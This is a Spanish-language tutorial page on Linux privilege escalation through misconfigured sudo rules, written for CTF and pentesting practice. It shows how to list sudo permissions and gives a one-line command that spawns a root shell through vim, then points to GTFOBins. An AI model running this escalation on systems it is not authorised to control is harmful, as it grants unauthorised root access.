> For the complete documentation index, see [llms.txt](https://4lec4st.gitbook.io/4lec4st/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://4lec4st.gitbook.io/4lec4st/docs/escalada-de-privilegios/permisos-sudo.md).

# Permisos Sudo

## Introducción

El comando `sudo` permite a usuarios ejecutar tareas con privilegios elevados en sistemas Linux. Cuando su configuración no se gestiona correctamente, puede permitir la ejecución de comandos con permisos de root a través de binarios comunes del sistema. Esta técnica es una de las más comunes para escalar privilegios localmente y es especialmente útil en entornos de CTF o pentesting.

***

## Detección de permisos sudo

Para verificar qué comandos puede ejecutar un usuario con `sudo`, se utiliza:

```bash
sudo -l
```

Esto mostrará la lista de binarios permitidos. Un ejemplo de salida vulnerable sería:

```bash
User user may run the following commands on this host:
    (root) NOPASSWD: /usr/bin/vim
```

***

## Explotación: Escalada con `vim`

`vim` es un editor de texto potente que también permite ejecutar comandos del sistema desde su interfaz. Si un usuario puede ejecutarlo con `sudo`, puede obtener una shell como root fácilmente.

#### Comando:

```bash
sudo vim -c ':!/bin/bash'
```

Esto abre `vim`, ejecuta el comando `:!/bin/bash`, y lanza una shell con privilegios de root.

***

## GTFOBins

GTFOBins es un repositorio colaborativo que documenta cómo abusar de binarios comunes de Linux para escalar privilegios, evadir restricciones o mantener acceso. Es especialmente útil cuando encuentras un binario permitido en `sudo`, o incluso si solo está presente en el sistema con permisos especiales.

Cada entrada en GTFOBins contiene métodos clasificados en:

* `Sudo`: Escalada de privilegios cuando el binario puede ejecutarse con sudo.
* `SUID`: Escalada usando archivos con el bit SUID habilitado.
* `Shell`: Para obtener una shell.
* `File read/write`, `File upload/download`, etc.

#### Ejemplo de uso:

Si en la salida de `sudo -l` ves un binario como `less`, `awk`, `perl`, `nano`, etc., puedes buscar directamente en GTFOBins si existe un método para abusarlo.

***

## Más Información

* [GTFObins - SUDO](https://gtfobins.github.io/#+sudo)
